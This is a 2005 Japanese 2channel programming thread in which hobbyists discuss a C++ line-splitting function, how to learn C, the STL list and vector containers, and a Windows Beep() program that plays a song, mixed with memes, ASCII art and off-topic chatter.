Linuxって使う場面ないんだけど
436デフォルトの名無しさん:2005/11/23(水) 21:53:54
   /⌒⌒⌒⌒⌒⌒ ))
  (   从    ノ.ノ
   ( ./  ̄ ̄ ̄ ̄\
   |::::::  ヽ  ...  ...丶.
   |::::._____ __)     ) / <MSにWindowsのソースを要求する。
  (∂: ̄ ̄| ̄・` |=|・ ̄ |   ( (
   (  (   ̄ )・・( ̄ i n.n  )ノ  ______
   ヘ\   .._. )C( ._丿.=|_|=・.  │  | \__\___
 /  \ヽ _二__.ノ  <つ(.(rヽ    |  |   |= |iiiiiiiiiii|
/⌒ヽ.   \__/\i/\ ヽ .( .ノ     |  |   | =. |iiiiiiiiiii|
|   ヽ ____\o\./  |.      |  |   |三 |_「r.、
|   //     // ̄.\ \二|    |_..|_/(  ) ̄ ))
ヽ ______//r_/| |.||⌒ヽ〜〔 ̄ ̄! ̄ ̄ ̄/ ̄ ̄\((
437デフォルトの名無しさん:2005/11/23(水) 22:04:44
アメリカじゃLinux使いは共産主義者って呼ばれてるけど
日本じゃさしずめ社民党だな
438デフォルトの名無しさん:2005/11/23(水) 22:34:19
なんかマイクロソフトの焦りを感じる・・(;^ω^)
もうちょい落ち着いてもいいと思うお(;^ω^)(;^ω^)
439デフォルトの名無しさん:2005/11/23(水) 22:49:38
>>405
あの程度のもんをSDKorMFCで作るのが面倒とかいう時点でおかしいだろ。
440デフォルトの名無しさん:2005/11/23(水) 23:18:36
東大助手に何を言っているんだ、君は!
(><(*)ひぎぃ!お尻ぷりんセス!
441デフォルトの名無しさん:2005/11/23(水) 23:30:50
文字列を行ごとに分けるプログラムを書いてみた。こんな感じでいいのかな・・

BOOL GetNextLine(LPCTSTR& pSrc, CString& Line) {
if(!pSrc) return FALSE;
if(!*pSrc) {
Line.Empty();
pSrc = NULL;
return TRUE;
}
LPTSTR pLF = _tcschr(pSrc, '\n');
if(!pLF) {
Line = pSrc;
pSrc = NULL;
return TRUE;
}
INT nLen = pLF - pSrc;
LPTSTR pBuf = Line.GetBufferSetLength(nLen);
_tcsncpy(pBuf, pSrc, nLen);
Line.ReleaseBuffer(nLen);
pSrc += nLen + 1;
return TRUE;
}

whileで回して使う。
while(GetNextLine(pSrc, Line)){nNumLines++; }
442デフォルトの名無しさん:2005/11/24(木) 00:30:16
>>440
2ちゃんねら〜は学歴・権威によわいでしゅね。ぶぎゃw
443デフォルトの名無しさん:2005/11/24(木) 00:34:17
>>441
悪いことは言わん
文章処理系はPerlに任せるべき
444デフォルトの名無しさん:2005/11/24(木) 00:45:08
>>442
東大助手は忙しいから少しでも時間節約したいんだよ
445デフォルトの名無しさん:2005/11/24(木) 00:50:30
>>444
いそがしいなら隠れてnyなんか作れるかよ。
笑わせるなw
446デフォルトの名無しさん:2005/11/24(木) 00:54:14
>>443に激しく同意

まぁレポート載せるソースコードを80文字で改行するためのプログラムをCで書いておいて
最後にゴミが付くというバグに気づきながら放置してる俺が言えた事じゃないが
447デフォルトの名無しさん:2005/11/24(木) 00:55:14
はいはいワロスワロス
もう終わりね
448デフォルトの名無しさん:2005/11/24(木) 01:18:55
>>444 >>446
カレーが好きならインドに住めと言っているのと一緒。
449デフォルトの名無しさん:2005/11/24(木) 02:07:25
450デフォルトの名無しさん:2005/11/24(木) 02:22:19
while(0)
{
print "?";
}
451デフォルトの名無しさん:2005/11/24(木) 02:26:02
まぁ>>448のレスは単純なアンカーミスだと思われ。
>>448のレスを>>443>>446宛と考えれば普通に解釈できる。
452デフォルトの名無しさん:2005/11/24(木) 02:34:51
生産性無視して作ってもな〜

wWw<MMORPGのクライアント作ってくれ
(’д`)<うはおkwwwwwwnasmで作ってくるwwwwっうぇ
453デフォルトの名無しさん:2005/11/24(木) 03:45:10
>>448
本格的にカレー食いたいならインドに行く方が効率的だろ
それと一緒だよ
454デフォルトの名無しさん:2005/11/24(木) 03:59:09
今D言語な家に住んでいます。
外に出るのメンドクサス
455デフォルトの名無しさん:2005/11/24(木) 04:03:05
本場のカレーが本格的なカレーとは限らない
本格的なカレーがうまいカレーとは限らない
近場にある怪しいインド料理店のほうが本格的なカレー作ってくれるかもな!

ってか、そもそも本格的って定義はなんなんだろ(;^ω^)


>>453
「本格的にカレーを食べる」なら
ココイチで吐くまで食べりゃ済むと思うお(^ω^)
456デフォルトの名無しさん:2005/11/24(木) 07:22:28
カレー味のウンコとウンコ味のカレーだったら、雑菌少ない方を選ぶのがベターだと思うんだ
457デフォルトの名無しさん:2005/11/24(木) 07:43:46
なるほど
458デフォルトの名無しさん:2005/11/24(木) 07:56:30
ちょっと聞きたいんだけどさぁ。
ここにVIPのコテが来てCを学びたいとか言い出したら荒れるよな?
ちなみに空気コテだけど。
459デフォルトの名無しさん:2005/11/24(木) 08:11:58
そいつはこのスレが求めてる逸材と見た!
460デフォルトの名無しさん:2005/11/24(木) 08:15:38
マジ?荒れないかな?
Hello!worldレベルのコテじゃ流石にヤバイよな。
彼、コテにしてはめずらしくTPOをわきまえるんだよ。
だから本気で気にしてるんだ。
461デフォルトの名無しさん:2005/11/24(木) 08:17:32
荒れないからコテ出して♥
462健太 ◆wJpsfBhkdM :2005/11/24(木) 08:18:50
どうも…空気コテです…
463デフォルトの名無しさん:2005/11/24(木) 08:27:26
まずはメンバーの自己紹介からどうぞ
464健太 ◆wJpsfBhkdM :2005/11/24(木) 08:28:25
……また来ます

|vip| λ....
465デフォルトの名無しさん:2005/11/24(木) 08:34:37
健太 ◆wJpsfBhkdM の検索結果のうち 日本語のページ 約 3 件中 1 - 2 件目 (0.12 秒)

これはいい空気ですね
466デフォルトの名無しさん:2005/11/24(木) 09:05:41
VIPは日に日に悪くなっていくな
467デフォルトの名無しさん:2005/11/24(木) 09:06:50
みんなHello World から始めたんだ。
恥ずかしいことじゃないぞ。

(・∀・) カエッテコーイ!!
468デフォルトの名無しさん:2005/11/24(木) 12:13:42
>>455
「カレーの本場」といえばインドだろ。普通に考えて本格的にインド食べたかったらインドに行くべき
しかも日本はカレーが高い。大量に食べるならインドの方が圧倒的にお得。
469デフォルトの名無しさん:2005/11/24(木) 12:24:38
>>468
ちょwwwwwwwwwwww 旅費と移動時間は計算外かよwwwwwwwwwwww
470デフォルトの名無しさん:2005/11/24(木) 12:26:12
>>469
日本の家賃>>>旅費・インドの家賃
じゃないのか
471468:2005/11/24(木) 12:27:12
うはwwwwwwww考えてなかったwwwwwwwwwww
俺テラヤバスwwwwwwwwwwwwww
472デフォルトの名無しさん:2005/11/24(木) 12:27:16
つまり、人類はスペースコロニーに移住しろってこったな
473デフォルトの名無しさん:2005/11/24(木) 12:31:55
旅費=bcbの値段
移動時間=近くの電気屋さんまでの道のり÷速さ
カレーの値段=開発効率
474デフォルトの名無しさん:2005/11/24(木) 12:47:00
BCB実行ファイルデカス
475デフォルトの名無しさん:2005/11/24(木) 13:01:55
少しくらい我慢しろ
476デフォルトの名無しさん:2005/11/24(木) 14:07:39
>>475
ナローバンドなんだろ。優しくしてやれ。
477デフォルトの名無しさん:2005/11/24(木) 14:20:04
           ∧_∧
           (*´∀` ) <優しくしてね
     パンパン /  _ノ⌒⌒⌒`〜、_
      ε( ̄⊂人 //⌒   ノ  ヽ)
      ⊂ニニニニニニニニニニニニニニ⊃
478デフォルトの名無しさん:2005/11/24(木) 14:27:18
    へ          へ|\ へ     √ ̄|        へ
   ( レ⌒)  |\   ( |\)| |/~|  ノ ,__√    /7 ∠、 \ .  丶\      _ __
|\_/  /へ_ \)   | |   | |∠  | |__   | /   !  |     | |_〜、  レ' レ'
\_./| |/   \     .| |( ̄  _) |     )  | |    i  |  へ_,/    ノ   ,へ
  /  / ̄~ヽ ヽ.   | | フ  ヽ、 ノ √| |   ! レノ  |  !. \_  ー ̄_,ー~'  )
 / /| |   | |   | |( ノ| |`、) i ノ  | |   \_ノ  ノ /    フ ! (~~_,,,,/ノ/
 | |  | |   / /    | | .  し'  ノ ノ   | |       / /     | |   ̄
 \\ノ |  / /      | |___∠-".   | |      ノ /       ノ |  /(
  \_ノ_/ /     (____)     し'      ノ/      / /  | 〜-,,,__
     ∠-''~                        ノ/         (_ノ   〜ー、、__)
479デフォルトの名無しさん:2005/11/24(木) 14:34:48
僕をできる限りC言語PGとして育ててください!!!!!
ヒキなので常時スタンバッってるので、ぜひお願いしたい
どうにか大学の奴達より賢くなりたいんだ!!!
ポインタ辺りは理解した!!でも何をやっていいのやら・・・
時間だけはたっぷりある。スルーはしないでくれーーーーーーー!!!
480デフォルトの名無しさん:2005/11/24(木) 14:36:39
>>479
Hello, world!だ

org 0x0100
mov ah, 0x09
mov dx, msg
int 0x21
ret
msg db "Hello, world!",0x0A,"$"
481デフォルトの名無しさん:2005/11/24(木) 14:36:44
>>479
>>477,478
482デフォルトの名無しさん:2005/11/24(木) 14:39:15
>>480
HELLOW WORLD はもう完璧だす・・・

>>481
そんな事いわないでくれよ〜〜〜('A`)
教えてくださああああぁっぁっぁっぁああいい
483デフォルトの名無しさん:2005/11/24(木) 14:43:42
自力で学ぶ力がないとプログラマとしてやっていけないよ
484デフォルトの名無しさん:2005/11/24(木) 14:45:56
>>482
どれくらい出来るの?
485デフォルトの名無しさん:2005/11/24(木) 14:46:43
>>483
今まで全部独学でやってきたので、何をやったらいいのか
分からないんですよ。ポインタまでやって、線形リスト、
多次元配列、関数へのポインタ→最近qsortをやり始める。
でも問題出されてもできない事がおおいので、教えて欲しいです・・
486デフォルトの名無しさん:2005/11/24(木) 14:47:19
>>484
>>485におおよそを書いておきました
487デフォルトの名無しさん:2005/11/24(木) 14:48:00
>でも問題出されてもできない事がおおいので、教えて欲しいです・・
これは「慣れる」しかない
実際にソースを読んだり書いたりしてるうちにプログラムの書き方を覚えてくる
488デフォルトの名無しさん:2005/11/24(木) 14:50:26
>>487
慣れですか・・・ソースを読むのは参考書程度ではやっぱダメですよね
もっと参考書立ち読みしてきますorz
489デフォルトの名無しさん:2005/11/24(木) 14:51:37
>>488
ソースはネットで拾った方がいいよ
http://sourceforge.jp/
こことか
490デフォルトの名無しさん:2005/11/24(木) 14:52:16
矛盾してないか…?w
491デフォルトの名無しさん:2005/11/24(木) 14:54:46
>>489
はあああぁぁ!!!やったあぁ!!!本屋行かなくてすむ。
ありがとうございます。ソース見まくって頑張ります(`・ω・´)
492デフォルトの名無しさん:2005/11/24(木) 14:56:35
493デフォルトの名無しさん:2005/11/24(木) 15:04:48
>>488
雑誌読め、プログラミング雑誌、定期購読しろ
494デフォルトの名無しさん:2005/11/24(木) 15:15:30
>>492
ソースの種類がいっぱいあってたのしそうです(`・ω・´)

>>493
プログラム雑誌なんてのもあったんですか!
毎日本屋に読みに行ってみる事にしますよ。
495デフォルトの名無しさん:2005/11/24(木) 15:29:55
Java (292 projects)
C (279 projects)
C++ (241 projects)

Java多いな
496デフォルトの名無しさん:2005/11/24(木) 15:35:27
>>494
Win32のプログラムはまだですか?
497デフォルトの名無しさん:2005/11/24(木) 17:00:48
>>456
 カレー味のうんことうんこ味のカレーだったら、
おそらくうんこ味のカレーを選ぶ人の方が多いだろう。

 しかし、うんこ味のカレーを作るためには、
うんこってどんな味なのか?を知らねばならない。

 また、カレー味のうんこをいかにして作るか?という
議論もなされていない。

 うんこ味のカレーを作るために、カレーにうんこを混ぜてしまっては元も子もないし、
 カレー味のうんことかいってうんこにカレー粉をかけただけでは名前に偽りあり、だ。

まず、「うんこ味とは」「カレー味のうんことは」を議論すべきだ。
498デフォルトの名無しさん:2005/11/24(木) 17:07:47
うんこ味のカレーの匂いはどうするのかも議論されてないではないか
味だけに捕われないトータルな議論が必要だと思うが。
499デフォルトの名無しさん:2005/11/24(木) 17:09:41
はいはいわろすわろす
500デフォルトの名無しさん:2005/11/24(木) 17:15:21
いまだにチマチマリスト構造操作クラス作ってる者ですが・・

stack型リストにがんばってなんとか汎用性を持たせてみる
ttp://www.vipper.org/vip146355.txt

駄目じゃ〜。
シンプルかつ安全なものを目指してるのに、
じぇんじぇんそんなんできないYO!

これじゃCHumanDataのスタックをコントロールするクラスを作らなきゃいけないじゃないかぁ。。
安全かつ自動的に回せるループも思い浮かばないいぃぃ (ToT)

ループはインデックスを指定して回すべきか・・いやそれじゃ・・・
また面倒なことに・・・・うはwwwっうぇwwっうぇwwwww
501デフォルトの名無しさん:2005/11/24(木) 17:28:32
Delete_Allはデストラクタの中で呼べばいいだけでは?
あと、安全なものを目指すのなら静的な配列に文字列コピーするのはどうかと
502デフォルトの名無しさん:2005/11/24(木) 17:38:41
そんなことしたら、ノードひとつ削除するごとにDelete_Allが実行されね?
503デフォルトの名無しさん:2005/11/24(木) 17:40:58
>>502
ソースよく読んでなかった
自身をメンバに持つクラスなのねん

メンバにデータ型(CHumanDataとか)を持っていて、
それを操作するクラス(CStack)ってのはダメなの?
504デフォルトの名無しさん:2005/11/24(木) 17:41:55
>>500
シンプルと安全性はトレードオフじゃまいか?
それはそうとして、リストならとりあえずCで実装してふいんきだけ掴めばそれでいい希ガス
C++ならlist<>があるわけだし
505デフォルトの名無しさん:2005/11/24(木) 17:46:43
せっかくprivateっていう隠蔽があるんだから使わないと安全性も糞もないお
506500です (-_-:2005/11/24(木) 17:51:20
Delete_All()は今すぐデストラクタに入れてもだいじょうぶなのですが、
Stackから一個削除されるたびにDelete_All()が呼ばれるので(処理はスルーするけど)
なんか効率悪いな〜と思いまして・・

文字列コピーは今は、テスト中なのでどんな値を入れてもよかったのです。
たまたまメンバに文字列入れてるだけでして。確かに安全じゃないっぽいですね。。

>>503
CStackを色んなとこで使いたいので、
CStack側にメンバを追加するのはめーなんです。

>>504
リスト構造を理解するために作ってるんですが、
そろそろ投げたくなってきた。

>>505
そですよね。そなんですけど、
隠蔽しながらループ回す方法を思い浮かばなかった orz
GetTopAddress()とGetNextAddress()をメンバに追加すれば隠蔽だけは可能かなぁ。。


みなさんどうもありがとー m(__)m
507デフォルトの名無しさん:2005/11/24(木) 17:54:28
リストの使い方の例(コンパイルしてないから通るか不明)
#include <iostream>
#include <list>
using namespace std;

int main(int argc, char *argv[]){
list<int> container;

for(int i = 0; i < 5; ++i)
container.push_back(i); //最後尾に1個ずつ追加

//先頭から順次表示
for(list<int>::iterator it = container.begin(); it != container.end(); ++it)
cout << *it << endl;

container.pop(); //なんとなく先頭1個削除
container.clear(); //する必要ないけど
}
508デフォルトの名無しさん:2005/11/24(木) 17:56:53
-container.pop(); //なんとなく先頭1個削除
+container.pop_front(); //なんとなく先頭1個削除
509500です (-_-:2005/11/24(木) 18:06:14
>>507
おお、素晴らしい。それが噂に聞くstd::listってヤツでしょか。
そうそう、そういうのが理想なんですよ〜。
iteratorってなんだよまったく。
英和辞典で調べたら

it・er・ate
繰り返す; 繰り返して言う.
it・er・a・tion ━━ n. 【コンピュータ】(プログラム中の命令の)繰り返し, 反復.

と出た。なんか超便利っぽいぞ。
あー、、どうやってループ回そうかな。
510デフォルトの名無しさん:2005/11/24(木) 18:51:34
>>509
とりあえずAcceleratedC++読んでみれ
Stringとvectorだけだったと思うが、簡易版を実装してるから
listを実装する上でかなり参考になるはず
特にiterator絡みとか
511デフォルトの名無しさん:2005/11/24(木) 19:14:15
STLの基本
コンテナ/イテレータ/アルゴリズムの3つに分けて考えることで、直交性を高めてる。

コンテナ list/vector等のデータを格納する構造
イテレータ コンテナ内のデータを指すためのポインタのようなもの
アルゴリズム イテレータを利用してサーチやらソートやらを行う

コンテナはbegin()/end()で最初/最後の「次」の要素を返すイテレータを
取ってこれるので、そのイテレータをbegin()でとってきたイテレータを
++してend()で終了させれば全ての要素を走査できる。
512デフォルトの名無しさん:2005/11/24(木) 19:15:25
うわわけわからん日本語になってるな
513500です (-_-#:2005/11/24(木) 19:20:25
>>510
どもです。これのことでしょか。

Accelerated C++
効率的なプログラミングのための新しい定跡
C++ In Depth Series
ttp://www.amazon.co.jp/exec/obidos/ASIN/4894714221/qid=1132826961/sr=1-1/ref=sr_1_10_1/250-6494379-9438634

難解そうですけど、評価は高めですね。
メチャ高いわけでもないので、STLをお勉強したあとに買ってみたいと思います。ども。


>>507を見てると、C++ってもしかしてSTLを駆使すると配列とかあんま使わなくても
プログラムできるんでしょか。なんか衝撃だわぁ。

とりあえず>>500のCStackをコントロールするクラスを作ってみまっす (`・ω・´)
失敗したらもうリスト構造は辞める!
514デフォルトの名無しさん:2005/11/24(木) 19:24:56
std::list<int>ってやるとint型のリストを「管理する」コンテナが
できるってところがミソかなぁ〜
begin()/end()とかを保存はしてるけど、それ以外のアルゴリズムに
必要な状態の保存はiteratorやら関数オブジェクトに任せるとか。
そういうのを考えながら見ると参考になるかと。
515500です (-_-#:2005/11/24(木) 19:28:46
>>511 >>514
チョッコウセイ???
知らない言葉ばっかでもうなにがなんだか・・

イテレータってのを鍵にして色々操作してるかのな。
あの、>>507の場合、上から3番目の要素だけ表示したい場合とか、
どうするんでしょか。
Cの配列みたく、やぱインデックスで指定でしょうか?

cout << container.disp(2) << endl;

みたいな・・
516500です (-_-#:2005/11/24(木) 19:30:33
ん?

list<int>::iterator it = container.begin();
it+=2;
cout << *it << endl;

こうか??
517デフォルトの名無しさん:2005/11/24(木) 19:32:35
>>515
list<T>には確かランダムアクセスイテレータは無いはず
リストの3番目の要素にアクセスとかは無理
地道に先頭(末尾)から追っていってください

vector<T>は普通の配列と同様に扱える
ちなみに要素を追加すればするだけ、勝手に伸びてゆくという便利な代物

それと、Acceleratedは普通の本とは進め方が全く違う
C++の文法的な事はすっとばして、stringだとかvectorだとかをのっけから使いまくる
継承やポインタが10章とかにならないと出てこない
518デフォルトの名無しさん:2005/11/24(木) 19:34:27
>>515
コンテナ:データ(組込型でもクラスでもなんでも)を入れるための入れ物
イテレータ:コンテナを色々弄るため物。必需品
アルゴリズム:十徳ナイフみたいなあれば便利なもの
519デフォルトの名無しさん:2005/11/24(木) 19:50:25
>>515
>あの、>>507の場合、上から3番目の要素だけ表示したい場合とか、
std::advance(it, 2);

配列のようなvectorでは+=とかが使えるんだけど、
リストは+=のような操作が構造的に遅いために、
わざと+=が使えないようになってる。
一応std::advance()というアルゴリズムは用意されてるので
これを使えばOK。
520500です (-_-:2005/11/24(木) 19:51:23
Vipperはやぱいい人が多いよ〜
用語解説までやってくれてホントありがとうです ノω`)・゚・。。

vectorは聞けば聞くほど超便利そうな感じ。
Acceleratedは私にはまだまだ早いかな。でも良書っぽいので、ぜひ見てみます。

「アルゴリズム」ってのは自分で実装するアルゴリズムだと思ってたんですが、
ちょっと違うようですね。自動的にソートとかしてくれるんでしょうか。


C++道はまだまだ長し。てゆか、ゴールってホントにあんの?
521500です (-_-:2005/11/24(木) 19:52:48
>>519
重ね重ね感謝です! m(__)m
522デフォルトの名無しさん:2005/11/24(木) 19:56:06
>>520
確かソートもalgorithmにあった希ガス
最もlistについてはそれが適用できないので、別途メンバ関数を持ってたと思うが
523デフォルトの名無しさん:2005/11/25(金) 22:28:03
ttp://www.vipper.org/vip147075.c

vorbisファイルのコメント表示できた。
524デフォルトの名無しさん:2005/11/25(金) 22:32:58
usageの ./a.out って直打ちじゃ意味ないのでは…w
自身へのパスは argv[0] だお
525デフォルトの名無しさん:2005/11/25(金) 22:36:09
>>524
なんだかめんどくさかったお(^ω^;)
526デフォルトの名無しさん:2005/11/25(金) 22:37:39
527デフォルトの名無しさん:2005/11/25(金) 22:42:24
./a.out ってことは gcc かな?

ならコンパイルオプションに -std=c99 として
C99 準拠にすると幸せに慣れるかもだお(^ω^)

C99は↓
ttp://seclan.dll.jp/c99d/
528デフォルトの名無しさん:2005/11/25(金) 22:58:32
-o xxx.exe xxx.c
529デフォルトの名無しさん:2005/11/26(土) 00:21:21
今日は朝生見ながらプログラム〜 ^^
530デフォルトの名無しさん:2005/11/26(土) 00:43:28
>>529
たーわーけー
531デフォルトの名無しさん:2005/11/26(土) 00:54:19
>>530
なんで〜 ><
532デフォルトの名無しさん:2005/11/26(土) 00:57:16
うーん、画像表示だけで悩みまくった
今日はここまで
ttp://itaro.kir.jp/cgi-bin/up/src/ita0026.jpg
533デフォルトの名無しさん:2005/11/26(土) 01:13:42
>>532の画像がかわゆくて、ついつい保存しちゃった☆
534デフォルトの名無しさん:2005/11/26(土) 01:15:33
>>509
反復子という意味もあるぞ。

スピードメーターの針みたいなものだ。
針を順にズラしてデータの参照先を変えて
データ参照を繰り返す。
535デフォルトの名無しさん:2005/11/26(土) 01:22:10
朝生 キタ━(゚∀゚)━!!!
少子化問題とか興味ナッシング!!
今日はプログラムが進みそうだお
536デフォルトの名無しさん:2005/11/26(土) 01:29:03
>>534
あ、どもありがとございます m(__)m

ちょっと話違いますけど、
vectorって、配列みたく「3番目の要素を取り出す」
みたいなのが簡単にできるんですよね。

自分でリスト作ったら、3番目の要素取り出すときは
1番目から(もしくは最後から)回さないといけないから
どう考えても遅くなるんですけど、

そういうのはvector様はどうやって解決してるんでしょか。
昨日から考えてるけど、アフォなので全く思い浮かばない。。
537デフォルトの名無しさん:2005/11/26(土) 01:39:28
>>536
vectorなら配列と同じに v[3]とか添え字でアクセスできる
おそらく連続した領域にメモリ確保してると思われる
538デフォルトの名無しさん:2005/11/26(土) 01:48:59
>>537
連続してるのに、あとで配列に追加(しかも末尾or先頭に追加)したり
間を抜いたりできるというのを両立するにはどうすればああぁぁ

あー、そんな便利な箱、どこの天才が作ったんだろ。
539デフォルトの名無しさん:2005/11/26(土) 01:52:36
今緩い地震来た @東京都内
540デフォルトの名無しさん:2005/11/26(土) 01:53:14
vectorはC言語の配列と同じように扱えて、
配列の幅も自由に変更可能で(realloc するようなもの)
配列自体は最後に解放する必要はない

listはC言語で自分でソース書いたらわかると思うけど
要素の追加・削除が高速に行えるが、
メモリ上では連続してないから配列のようには扱えない

STLなら他にも deque, set, multiset, map, multimap
とあって、それぞれ長所短所あるので使い分けが重要でっせ
541デフォルトの名無しさん:2005/11/26(土) 01:57:16
>>538
確保しておいた領域で足りなくなったら
他のところへもっと大きい領域を確保して要素をすべてコピーするんだよ

だから、頻繁に要素の数が増減するような処理には向かない
そういうときこそlistとかを使う
542デフォルトの名無しさん:2005/11/26(土) 01:58:00
おや、ホントアフォな質問ばっかで申し訳ありませんが、
もしかしてlistよかvectorの方が遅い??

それならちょっと納得するかも。
543デフォルトの名無しさん:2005/11/26(土) 02:00:07
うは、かぶった orz

>>541
にゃるほど。それなら納得です。ども m(__)m
今まで自由に増減できて、かつ各要素へのアクセスが高速な
魔法の箱だとばかり思ってましたわ。
544デフォルトの名無しさん:2005/11/26(土) 02:02:51
>>542
>もしかしてlistよかvectorの方が遅い??

インデックスでランダムアクセスするならvectorの方が速い。
545デフォルトの名無しさん:2005/11/26(土) 02:04:08
>>544 おk。ぼんやり把握しました。感謝です ><
546デフォルトの名無しさん:2005/11/26(土) 02:05:53
C言語を勉強するときにlistを自作させられるのも
その辺の長短所を前もって理解しておいたほうが良いって事を見越して
誰もが学ぶ道、のはず

やること増やすようだけど、
STL予備軍であるboostなんて便利なライブラリもある
STL終わったらどういう機能があるかぐらいは見ておいて損はないと思うよ
547デフォルトの名無しさん:2005/11/26(土) 02:13:43
今まさにlist自作してたり (^ω^;
もう一週間ぐらいやってますよ。。

なんとか今晩中に卒業したぃ。
548デフォルトの名無しさん:2005/11/26(土) 02:15:58
でもリストって利用頻度高いか?
分岐やロードのペナルティの大きい今のCPUには向かない実装だ。
549デフォルトの名無しさん:2005/11/26(土) 02:21:31
だからなによ?
550デフォルトの名無しさん:2005/11/26(土) 02:32:00
VIPPER分が足りないぜwwwwww

             (^ω^)⊃
         _,,..,,,,_⊂ミ⊃ ) プルルン
        ./ ,' 3 `∩ηっ
        l   ⊃ ⌒_つ
         `'ー---‐'''''


            /⌒ヽ
            ( 人  )
            |  | ボゥッ!!!!!!
            | ノ(|
            |.⌒| (^ω^;)
           _,,..,,,_|  | (つ ⊂)
         / ,' 3 |  |ーっ
         l   ⊃ ⌒_つ
          `'ー---‐'''''"
551デフォルトの名無しさん:2005/11/26(土) 03:04:47
朝生が盛り上がって参りました
552デフォルトの名無しさん:2005/11/26(土) 03:04:56
今朝生見たほうがいい!
アキバ系男がめちゃくちゃ言われてるww
553デフォルトの名無しさん:2005/11/26(土) 03:05:54
うはwwwおいらのことが話題になってるwwwプログラムどころじゃないぜwwwwwwうぇwwっうぇwwwwwwww
554デフォルトの名無しさん:2005/11/26(土) 03:08:33
見逃した悪寒
555デフォルトの名無しさん:2005/11/26(土) 03:12:50
森永さんが痛々しいよ・・・_| ̄|○
556デフォルトの名無しさん:2005/11/26(土) 03:24:12
おい、おまいら、ニート引きこもりは精神科に行ったら精神病と認定されて
生活保護もらえるらしいよー
557デフォルトの名無しさん:2005/11/26(土) 03:25:34
ただオイラの予想だと、生活保護切る議論は
そろそろ巻き起こると思うよん♪
558デフォルトの名無しさん:2005/11/26(土) 10:55:12
そろそろ働けばいいじゃn
559デフォルトの名無しさん:2005/11/26(土) 12:09:04
この一週間ほどちまちまやってたリスト構造のまとめ。
ttp://www.vipper.org/vip147327.zip
http://www.vipper.org/vip147329.png

もう安全性とかシンプルさとか捨てました。てゆか、無理。
そんなのはSTL作ったようなどっかの天才様におまかせします。

もうリスト構造のこと考えるのやめやめ ┐(´ー`)┌

>>548
あわよくばシューテシングゲームなんかの弾の管理に使おうかと思ってましたが、
こんなん使うよかドカッっとnewした方がじぇんじぇん速いっぽいよ orz
560デフォルトの名無しさん:2005/11/26(土) 12:09:20
働いたら負けかな、と思ってる
561デフォルトの名無しさん:2005/11/26(土) 12:16:47
負けでもいいじゃn
562デフォルトの名無しさん:2005/11/26(土) 13:49:02
「思ってる」ってだけで、どうやっても現実とはちがうから
563デフォルトの名無しさん:2005/11/26(土) 14:13:08
>>559
そもそもリストの用途って、大量の構造体を処理するようなときに
とりあえず全部リストに読み込んで、処理が終わった奴から順に
切り離していくような使い道じゃまいか?
564デフォルトの名無しさん:2005/11/26(土) 15:30:16
Javaの2次元描画のいい参考書ないかねえ
なんか本屋行ってもWeb開発関連本ばっかしで・・・
ttp://itaro.kir.jp/cgi-bin/up5/src/ita0043.jpg
565デフォルトの名無しさん:2005/11/26(土) 15:33:01
お金あるから働く意味ないし
566デフォルトの名無しさん:2005/11/26(土) 15:34:27
うらやまC
567デフォルトの名無しさん:2005/11/26(土) 18:20:09
>>563
((;゚Д゚) < マ、マジッスカ!!
568デフォルトの名無しさん:2005/11/26(土) 18:44:11
ディレクトリ構造とか実現するのに使うかな、程度。
あと、Windowsのハードディスクの記録方法(FAT/NTFS)もリスト構造だよね。
569デフォルトの名無しさん:2005/11/26(土) 19:38:56
ファイル整理してたらでてきた

#include <windows.h>
int main(int argc, char* argv[])
{
    int sayuri[][2] =
    {    { 330, 250 }, { 330, 250 }, { 330, 250 },
        { 330, 250 }, { 349, 250 }, { 330, 250 },
        { 440, 250 }, { 440, 500 }, { 440, 250 },
        { 490, 250 }, { 440, 250 }, { 523, 250 },
        { 523, 250 }, { 523, 250 }, { 523, 250 },
        { 490, 250 }, { 440, 250 }, { 330, 700 },
        { -1, -1 },
    };
    int i;

    for(i = 0; sayuri[i][0] >= 0; i++)
        Beep(sayuri[i][0], sayuri[i][1]);

    return 0;
}
570デフォルトの名無しさん:2005/11/26(土) 19:45:17
>>569
なにこれ
571デフォルトの名無しさん:2005/11/26(土) 19:45:37
>>569
ちょwwwwwwwwww
すごいがそんな曲(゚听)イラネ
572デフォルトの名無しさん:2005/11/26(土) 19:46:44
>>569
ビープでなんか演奏すんの?
573・∀・)っ-●○◎- ◆Pu/ODYSSEY :2005/11/26(土) 19:53:00
これぞVIPクォリティwww
574デフォルトの名無しさん:2005/11/26(土) 19:56:37
ワロッシュwwwwwwwww
575デフォルトの名無しさん:2005/11/26(土) 20:04:52
>>569
ワロス
神だな
576デフォルトの名無しさん:2005/11/26(土) 20:09:18
選曲の基準がわからねえwwwwwwwwww
577デフォルトの名無しさん:2005/11/26(土) 20:11:24
cygwinでコンパイルできる?
578デフォルトの名無しさん:2005/11/26(土) 20:15:03
この曲って「上野発の〜」であってる?w
579デフォルトの名無しさん:2005/11/26(土) 20:15:20
>>577
俺はできた
580デフォルトの名無しさん:2005/11/26(土) 20:15:21
うえのはつの・・・

どういうしくみだ?
581デフォルトの名無しさん:2005/11/26(土) 20:16:05
bcc32ではコンパイル通った
582デフォルトの名無しさん:2005/11/26(土) 20:16:34
MinGWでもおk
583デフォルトの名無しさん:2005/11/26(土) 20:21:36
584デフォルトの名無しさん:2005/11/26(土) 20:31:13
>>583
わざわざ.net2.0使わなくても、Win32API叩けばNT3.51時代から出来てる事な訳だが
585デフォルトの名無しさん:2005/11/26(土) 20:32:51
ttp://msdn.microsoft.com/library/default.asp?url=/library/en-us/debug/base/beep.asp

英語分からん奴は日本語版で勝手に探せ
586デフォルトの名無しさん:2005/11/26(土) 20:39:52
587デフォルトの名無しさん:2005/11/26(土) 20:41:32
588デフォルトの名無しさん:2005/11/26(土) 20:43:26
おもしれwwwww
beepでこんなことできたのかw
589デフォルトの名無しさん:2005/11/26(土) 20:44:12
>>584
Windows API に依存しなくて済むじゃん。
.NET 2.0 が使える環境ならどこでも鳴らせるわけで。
590デフォルトの名無しさん:2005/11/26(土) 20:49:50
.NET 2.0の環境なんて限られてるだろ
591デフォルトの名無しさん:2005/11/26(土) 20:54:00
>>589
その場合、依存先がWin32APIから.net2.0に変わっただけだろ
それに将来的にどうかは別としても、少なくとも現状で使える環境の数は
Win32API>>>>>(超えられない壁)>>>>>>.net2.0
592デフォルトの名無しさん:2005/11/26(土) 20:55:34
要するにmonoとwineの違いですよ
593589:2005/11/26(土) 20:58:59
>>591
言われてみりゃ確かに。
俺も 2.0 入れてないし。
594デフォルトの名無しさん:2005/11/26(土) 21:04:55

#include <windows.h>
int main(int argc, char* argv[])
{
int sayuri[][2] =
